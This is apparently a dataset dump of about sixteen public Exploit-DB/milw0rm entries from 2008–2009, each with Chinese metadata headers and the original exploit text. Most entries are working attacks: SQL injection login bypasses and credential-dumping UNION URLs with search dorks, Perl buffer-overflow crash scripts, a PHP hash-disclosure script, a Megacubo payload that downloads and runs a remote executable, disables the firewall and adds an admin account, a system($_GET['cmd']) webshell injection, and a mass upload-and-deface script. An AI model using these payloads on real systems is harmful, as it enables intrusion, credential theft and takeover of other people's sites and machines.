QLWD/code_shield huggingface dataset:
标题: w3blabor CMS 3.3.0 - Authentication Bypass EDB-ID: 7640 CVE: 2009-0597 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-01 漏洞利用脚本: \#'#/
                          (-.-)
   ------------------oOO---(_)---OOo-----------------
   |          __             __                     |
   |    _____/ /_____ ______/ /_  __  ______ ______ |
   |   / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
   |  (__  ) /_/ /_/ / /  / /_/ / /_/ / /_/ (__  )  |
   | /____/\__/\__,_/_/  /_.___/\__,_/\__, /____/   |
   | Security Research Division      /____/ 2oo8    |
   --------------------------------------------------
   |   w3blabor CMS <= v3.3.0 Admin Login Bypass    |
   |       (requires magic_quotes_gpc = Off)        |
   --------------------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.w3blaborcms.de
[!] Detected...: 20.12.2008
[!] Reported...: 20.12.2008
[!] Response...: 21.12.2008

[!] Background.: Sicher! Schnell! Einfach!
                 Das CMS wurde durch diverse Abfragen und Konfigurationen gegen Hackangriffe
                 abgesichert. Auch arbeitet es sehr stabil und kommuniziert schnell mit der
                 angebundenen Datenbank. Die Verwaltung gestaltet sich als besonders einfach im
                 Gegensatz zu vielen anderen Content Management Systemen - Und genau das macht
                 es zu etwas Besonderem!

[!] Bug........: $_POST['benutzername'] & $_POST['passwort'] in admin/index.php near line 93

                  93: if (isset($_GET['action']) && $_GET['action'] == "login" && $_POST['benutzername'] != "" && $_POST['passwort'] != "") {
                  94:
                  95: $check = mysql_fetch_assoc(mysql_query("SELECT * FROM admin WHERE benutzername='".$_POST['benutzername']."'"));
                  96:
                  97: if ($check['benutzername'] == "") {
                  98:
                  99:  $_SESSION['login'] = false;
                 100:  header("Location: index.php?fehler=error001");
                 101:  exit;
                 102:
                 103: } else {
                 104:
                 105:  $md5pw = md5($_POST['passwort']);
                 106:
                 107:  $check = mysql_fetch_assoc(mysql_query("SELECT * FROM admin WHERE benutzername='".$_POST['benutzername']."' AND passwort='".$md5pw."'"));

[!] PoC........: To bypass the admin login:

                 Username: x' or 1=1/*
                 Password: not empty

[!] Solution...: upgrade to version 3.4.0

# milw0rm.com [2009-01-01] URL: https://www.exploit-db.com/exploits/7640
标题: Audacity 1.2.6 - '.gro' Local Buffer Overflow (PoC) EDB-ID: 7634 CVE: 2009-0490 类型: DOS 平台: WINDOWS 发布日期: 2009-01-01 漏洞利用脚本: # -----------------------------------------------------------
#  Author : Houssamix
# -----------------------------------------------------------

# Audacity 1.2.6  (.gro file ) Local buffer overflow POC

# download : http://audacity.sourceforge.net/
# AudacityÂ® is free, open source software for recording and editing sounds.

# Description:
# When we select : project > import midi..   and we import ".gro" file contains long Chars
# The Program Will crash and The Following Happen:

# EAX:05050504  ECX:01414141  EDX:01520608  EBX:0012F154
# ESP:0012EF10  EBP:00000000  ESI:41414141  EDI:00000000
# EIP:006AEC54 audacity.006AEC54

# Access violation When Reading [41414141]
# And Also The Pointer to next SEH record and SE Handler Will gonna BE Over-wrote
 
# Poc  : 
# -------------------------------------------------------- 

#!/usr/bin/perl
#[*] Bug : Audacity 1.2.6  (.gro file ) Local buffer overflow
use warnings;
use strict;
my $chars   = "\x41" x 2000 ;
my $file="hsmx.gro";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created . import it in audacity  \n";


# ----------------------------------------------------------

# milw0rm.com [2009-01-01] URL: https://www.exploit-db.com/exploits/7634
标题: ASPThai.Net WebBoard 6.0 - SQL Injection EDB-ID: 7635 CVE: 2009-0703 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-01 漏洞利用脚本: ASPThai.Net Webboard 6.0(bview.asp) SQL Injection Vulnerability
#############################################
>>Autore: DaiMon
>>Email: cwdaimon[1]gmail.com
>>Site: http://www.cwdaimon.com
>>Version: 6.0
>>Download: http://www.aspthai.net/detailcode.asp?Mode=Load&DID=7&Redirect=QUHG/UKCD/RREP/VZssGGYUkedWebLtksjudROM
##############################################
>>>>
Bug In \bview.asp
>>>>
Google Dork:
allinurl:bview.asp?id=
>>>>
Exploit:
 
bview.asp?id=1+union+select+0,useradmin,2,3,4,passadmin,6,7,8+from+admin
##############################################
Special:PARS! & Equilibrium & KaYZeRSoZe & ALL Cyber-Warrior

# milw0rm.com [2009-01-01] URL: https://www.exploit-db.com/exploits/7635
标题: Elecard MPEG Player 5.5 - '.m3u' Stack Buffer Overflow (PoC) EDB-ID: 7637 CVE: 2009-0491 类型: DOS 平台: WINDOWS 发布日期: 2009-01-01 漏洞利用脚本: #!/usr/bin/perl -w

########################################################################
#Program  : Elecard MPEG Player                                       
#Version  : 5.5 build 15884.081218                                    
#website  : http://www.elecard.com/download/index.php                   
#Download : http://www.elecard.com/ftp/pub/mpeg/player/EMpgPlayer.zip 
#Type     :  * (.M3U) Buffer Overflow POC                             
########################################################################

#EAX 00000000
#ECX 41414141
#EDX 7C9037D8 ntdll.7C9037D8
#EBX 00000000
#ESP 0012BE40
#EBP 0012BE60
#ESI 00000000
#EDI 00000000
#EIP 41414141
#C 0  ES 0023 32bit 0(FFFFFFFF)
#P 1  CS 001B 32bit 0(FFFFFFFF)
#A 0  SS 0023 32bit 0(FFFFFFFF)
#Z 1  DS 0023 32bit 0(FFFFFFFF)
#S 0  FS 003B 32bit 7FFDF000(FFF)
#T 0  GS 0000 NULL
#D 0
#O 0
#EFL 00210246 (NO,NB,E,BE,NS,PE,GE,LE)
#MM0 0020 0202 0000 001B
#MM1 015A F2BC 8986 2BC0
#MM2 011C 0000 4020 027F
#MM3 0000 0000 804D A735
#MM4 BADB 0D00 BF83 15E6
#MM5 8A1B EAB8 0000 0005
#MM6 0000 0000 0000 0000
#MM7 D1B7 1758 E219 6000




my $file="boom.m3u";


open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "http://"."A" x 72850;
close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-01-01] URL: https://www.exploit-db.com/exploits/7637
标题: Pixel8 Web Photo Album 3.0 - SQL Injection EDB-ID: 7627 CVE: 2008-6153 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-30 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.nullarea.net
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Pixel8 Web Photo Album v3.0
#download : null
#Demo     : http://www.jayeshp.com/Pixel8/Files/Demo.asp


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.jayeshp.com/Pixel8/Demo/Files/Photo.asp?Index=1&NEXTPID=1149&OSet=0&UPDEL=Yes&AlbumID=4+and+1=0+union+select+username,username,3+from+users


#Greetz For NullArea members

###########################################################################

# milw0rm.com [2008-12-30] URL: https://www.exploit-db.com/exploits/7627
标题: PHPFootball 1.6 - Remote Hash Disclosure EDB-ID: 7636 CVE: 2009-0711 2009-0710 2009-0709 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-01 漏洞利用脚本: <?php

// http://garr.dl.sourceforge.net/sourceforge/phpfootball/PHPfootball1.6.zip

$host = $argv[1];
$path = $argv[2];

if ($argc != 3) {
    
    echo "PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit\n";
    echo "by KinG-LioN - http://eurohackers.it\n";
    echo "Usage: php {$argv[0]} <host> <path>\n";
    exit;
}
else {

   $head .= "GET /{$path}/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n";
   $head .= "Host: {$host}\r\n";
   $head .= "Connection: close\r\n\r\n";
   
   $fsock = fsockopen ($host,80);
   fputs ($fsock,$head);
   
   while (!feof($fsock)) {
     $cont .= fgets($fsock);
   } 
    fclose($fsock); 
    
    if (preg_match_all("/<td class=td>(.+?)<\/td>/",$cont,$i)) {
        print_r($i[1]);
   } 
   else {
       die ("exploit error\n");
   }
}


?>

# milw0rm.com [2009-01-01] URL: https://www.exploit-db.com/exploits/7636
标题: Megacubo 5.0.7 - 'mega://' Arbitrary File Download and Execute EDB-ID: 7630 CVE: 2008-6748 类型: REMOTE 平台: WINDOWS 发布日期: 2009-01-01 漏洞利用脚本: Megacubo 5.0.7 download & Execute
by :JJunior
site: http://www.musicastop.com.br/

tested against Internet Explorer 7 and Mozilla Firefox  1.5  Windows Xp sp 3

software site: http://www.megacubo.net/tv/
download url: http://sourceforge.net/project/showfiles.php?group_id=231636&package_id=280849&release_id=608023
 
description:
"Megacubo is a IPTV tuner application written in PHP + Winbinder.
It has a catalogue of links of TV streams which are available
for free in the web. At the moment it only runs on Windows(2000,
XP and Vista)."
 
example exploit, download & Execute :
 

<html>
<head>
<title>MegaCubo - download & Execute</title>
<meta http-equiv="Content-Type" content="text/html; ">
</head>
<body>
<script>
// url download & exec code evil
evil = 'http://www.example.com/evil.exe';
 
// disable firewall  encode base_64
firewall = 'bmV0c2ggZmlyZXdhbGwgc2V0IG9wbW9kZSBtb2RlID0gZGlzYWJsZQ==';
 
shellcode = 'mega://play|con.."a()".system(base64_decode("'+firewall+'")).fputs(fopen("c:/Megacubo.exe","w"),file_get_contents("'+evil+'")).system("C:/Megacubo.exe")."/?");print(';
 
// shell code
window.location=shellcode;

</script>
</body>
</html>

# milw0rm.com [2009-01-01] URL: https://www.exploit-db.com/exploits/7630
标题: eDNews 2.0 - SQL Injection EDB-ID: 7619 CVE: 2008-5820 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: #######################################################################################
  #                                                                                     #
  #                 ...:::::eDNews v2 SQL Injection Vulnerability::::....               #          
  #######################################################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
vuln code in eDNews_view.php:
line 22-23:
if ( isset( $_REQUEST['newsid'] ) ) {
 ${$CONFIG['fld_id']} = $_REQUEST['newsid'];
....
line 42-46:
$arr_select = array( $CONFIG['fld_id'], ''.$CONFIG['fld_title'].'', ''.$CONFIG['fld_content'].'',''.$CONFIG['fld_dateCreated'].'',''.$CONFIG['fld_score'] .'');
$arr_from = array($CONFIG['table']);
$where = $CONFIG['fld_id'].' = '.${$CONFIG['fld_id']};
$eDQuery_ = new edQuery( $dblink, $CONFIG['db'], $arr_from, $arr_select, $where, null, 'extended', $CONFIG['debug'], null, '1' );
$arr_rst = $eDQuery_->getRecords();
---
exploit:
http://site.com/eDNews_view.php?newsid=-99/**/union/**/select/**/1,2,concat(user(),0x3a,version(),0x3e,database()),4,5/*
-------
young iranian h4ck3rz

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7619
标题: Megacubo 5.0.7 - 'mega://' Remote 'eval()' Injection EDB-ID: 7623 CVE: 2008-6748 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-30 漏洞利用脚本: <!--
Megacubo 5.0.7 (mega://) remote eval() injection exploit
by Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/

tested against Internet Explorer 8 beta 2/xp sp 3

software site: http://www.megacubo.net/tv/
download url: http://sourceforge.net/project/showfiles.php?group_id=231636&package_id=280849&release_id=608023

description:
"Megacubo is a IPTV tuner application written in PHP + Winbinder.
It has a catalogue of links of TV streams which are available
for free in the web. At the moment it only runs on Windows(2000,
XP and Vista)."
(note that it is among most downloaded apps on sourceforge, http://sourceforge.net/softwaremap/trove_list.php?form_cat=99)

explaination:
it's possible to pass arbitrary php code to the "play" command
of "mega://" uri handler which is further copied to the
c:\DATASTORE.txt temporary file and evaluated, note the "con"
argument (which is a windows device name) to bypass a file_exists()
check

example exploit, this run calc.exe:

mega://play|con.."a()".system(base64_decode('Y21kIC9jIHN0YXJ0IGNhbGM='))."/?");print(

the following one execute:
cmd /c NET USER pyrokinesis pass /ADD && NET LOCALGROUP Administrators /ADD pyrokinesis
-->

<a href='mega://play|con.."a()".system(base64_decode(Y21kIC9jIE5FVCBVU0VSIHB5cm9raW5lc2lzIHBhc3MgL0FERCAmJiBORVQgTE9DQUxHUk9VUCBBZG1pbmlzdHJhdG9ycyAvQUREIHB5cm9raW5lc2lz))."/?");print('>pwn</a>

# milw0rm.com [2008-12-30] URL: https://www.exploit-db.com/exploits/7623
标题: Flexphplink 0.0.x - Authentication Bypass EDB-ID: 7616 CVE: 2008-6730 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: #############################################
Autore: x0r
Email: andry2000@hotmail.it
Site: http://w00tz0ne.altervista.org/index.php
Cms: Flexphplink Pro
Version: 0.0.7
Download: http://www.china-on-site.com/flexphplink/downloads.html
##############################################

Bug In \admin\usercheck.php

$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";

Exploit:
 
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1

Greetz: Visit My Site Pls :P

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7616
标题: CMScout 2.06 - SQL Injection / Local File Inclusion EDB-ID: 7625 CVE: 2008-6726 2008-6725 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-30 漏洞利用脚本: #############################################################################################
[+] CMScout 2.06 Remote SQL Injection/Local File Inclusion
[+] Discovered By SirGod
[+] Visit : www.mortal-team.org
[+] Visit : www.h4cky0u.org
[+] Greetz : All my friends
#############################################################################################

[+] Script homepage : http://www.cmscout.co.za/
[+] Dork : Powered by CMScout (c)2005 CMScout Group

[+] Remote SQL Injection


-------------------------------------------------------------------------------
1)

- You must be logged in as normal user.Add a download and go to :

 Example :

  http://[target]/[path]/index.php?page=mythings&cat=downloads&action=edit&id=null union all select 1,2,3,4,concat_ws(0x3a,uname,passwd),6,7,8,9,10,11 from cms_users--


--------------------------------------------------------------------------------
2)

- You must be logged in as administrator .

 Example :

  http://[target]/[path]/admin.php?page=users&subpage=users_view&id=null union all select 1,2,concat_ws(0x3a,uname,passwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 from cms_users--

---------------------------------------------------------------------------------

[+] Local File Inclusion

---------------------------------------------------------------------------------
1)

- Vulnerable code in admin.php :

++++++++++++++++++++++++++++++++++++++++++++++++++++++

require_once ("{$bit}includes/error_handling.php");

++++++++++++++++++++++++++++++++++++++++++++++++++++++

Example :

http://[target]/[path]/admin.php?bit=../../../../../boot.ini%00

----------------------------------------------------------------------------------
2)

- Vunerable code in index.php :

++++++++++++++++++++++++++++++++++++++++++++++++++++++

require_once ("{$bit}includes/error_handling.php");

++++++++++++++++++++++++++++++++++++++++++++++++++++++

Example :

http://[target]/[path]/index.php?bit=../../../../boot.ini%00

----------------------------------------------------------------------------------


#############################################################################################

# milw0rm.com [2008-12-30] URL: https://www.exploit-db.com/exploits/7625
标题: Flexphpic 0.0.x - Authentication Bypass EDB-ID: 7624 CVE: 2008-6142 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-30 漏洞利用脚本: #############################################
Autore: S.W.A.T.
Email: svvateam@yahoo.com
Site: Www.BaTLaGH.coM
Cms: Flexphpic 0.0.4 & Flexphpic Pro 0.0.3
Download: http://www.china-on-site.com/flexphpic/downloads.php
##############################################
Bug In \admin\usercheck.php
$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";
Exploit:
 
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1
 
I'll Be   A C I D A L !!!

# milw0rm.com [2008-12-30] URL: https://www.exploit-db.com/exploits/7624
标题: Flexphpsite 0.0.1 - Authentication Bypass EDB-ID: 7615 CVE: 2008-6241 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: #############################################
Autore: x0r
Email: andry2000@hotmail.it
Site: http://w00tz0ne.altervista.org/index.php
Cms: Flexphpsiteen
Version: 0.0.1
Download: http://www.china-on-site.com/flexphpsite/downloads.html
##############################################

Bug In \admin\usercheck.php

$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";

Exploit:
 
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1

Greetz: Anna <3

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7615
标题: Flexcustomer 0.0.6 - Admin Authentication Bypass / Possible PHP Code Writing EDB-ID: 7622 CVE: 2008-6761 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: [START]

####################################################################################################################
[0x01] Informations:

Script         : Flexcustomer
Download       : http://www.hotscripts.com/jump.php?listing_id=25331&jump_type=1
Vulnerability  : Admin Login Bypass / Possible PHP code writing
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org


####################################################################################################################
[0x02] Bug: [Admin Login Bypass]
######

Bug: /[path]/admin/usercheek.php

[CODE]

<?php
session_start();

if (!empty($logincheck)){
$sql = "select username,adminid from useradmin where username='$checkuser' and password='$checkpass'";
$results = $db->select($sql);

[/CODE]

[!FIX] Escape $checkuser and $checkpass in $sql query.


[!] EXPLOIT: /[path]/admin/
             Put as username and password: ' or '1=1
             You will log in as admin

####################################################################################################################
[0x03] Bug: [Possible PHP data writing]
######

This is not a real bug, but could become it if the administrator doesn't delete the install.php file.
In fact, data that we put in /[path]/admin/install.php forms will be save in a .php file.
So, if install.php is not deleted, we can inject php code, and this bug can become a RCE vulnerability.

[!] EXPLOIT:
              1) Go at: /[path]/admin/install.php
              2) Put as Database Name this simple PHP code: ";system($_GET['cmd']);$a = "k
              3) Fill the other form and press  Next
              4) Execute your cmd: /[path]/const.inc.php?cmd=id

####################################################################################################################

[/END]

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7622
标题: FlexPHPDirectory 0.0.1 - Authentication Bypass EDB-ID: 7614 CVE: 2008-6750 2008-6749 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: #############################################
Autore: x0r
Email: andry2000@hotmail.it
Site: http://w00tz0ne.altervista.org/index.php
Cms: Flexphpdiren
Version: 0.0.1
Download: http://www.china-on-site.com/flexphpdir/
##############################################

Bug In \admin\usercheck.php 'n' \add.php

$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";


Exploit:
 
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1

Shell Upload:

Exploit: \add.php upload your shell and after /photo/ to see your shell ^ ^

Greetz: I Miss You...

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7614
标题: PHPAlumni - SQL Injection EDB-ID: 7621 CVE: 2008-5815 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL InjEcti0n Vulnerability
##
## PHPAlumni ( Acomment.php id )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
##
## -[[: Exploite :]]-
##
##   www.Target.com/Acomment.php?id=1+union+select+0,0,0,0,0,0,0,0,concat_ws(0x3a,name,email,password),0,0+from+users--
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: ****** :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7621
标题: ThePortal 2.2 - Arbitrary File Upload EDB-ID: 7620 CVE: 2008-6918 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: [ web apps] theportal2 v2.2 (Auth bypass) file upload
--------------------
Author: siurek22
-------------------- 

You need curl to run it

--------------------
Code:
--------------------
upload.php


<?php
$file=$_POST['url'];
$fel=explode("\n", $file);




$ile=count($fel);
if(empty($file))
{
 echo'<br><br><br>
                                               <center>
                                               <form method="post">
                                               <textarea type="text" name="url" cols="50" rows="10">&lt;/textarea&gt;
                                               <input type="submit" value="OWNED">
                                               </form>
';
}
else{
for($i=0; $i<$ile;$i++)
{
$url=$fel[$i];
$url2=$url."/admin/galeria.php?akcja=dodaj_foto";
$url5=$url."/galeria/own.php";
                $c = curl_init();
                $postFields['adres'] = '@' . dirname(__FILE__) . '/own.php';
                $postFields['tytul'] = 'us';
                $postFields['opis'] = 'us';
                $postFields['kategoria'] = 1;
                $postFields['B1'] = 'dodaj';
                curl_setopt($c, CURLOPT_URL, $url2);
                curl_setopt($c, CURLOPT_POST, 1);
                curl_setopt($c, CURLOPT_POSTFIELDS, $postFields);
                curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
                $odpowiedz3=curl_exec($c);

                curl_close($c);
}
}              
?>

------------
 â€žown.phpâ€ with your code php
Example:

<?php
$text="<?php die(\"OWNED...\"); ?>";
$adres=$_SERVER['SCRIPT_FILENAME'];
$adres=str_replace("own.php","",$adres);
$adres=substr($adres,0, -8);
$adres=$adres."index.php";
$fp=fopen($adres,"w");
fwrite($fp, $text);
fclose($fp);

?>

Example:
1 Put upload.php and own.php at server
2 Go to url yourserver.com/upload.php and put to the textarea adres of website and Click OWNED
3 Now go to url your file target.com/galeria/own.php

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7620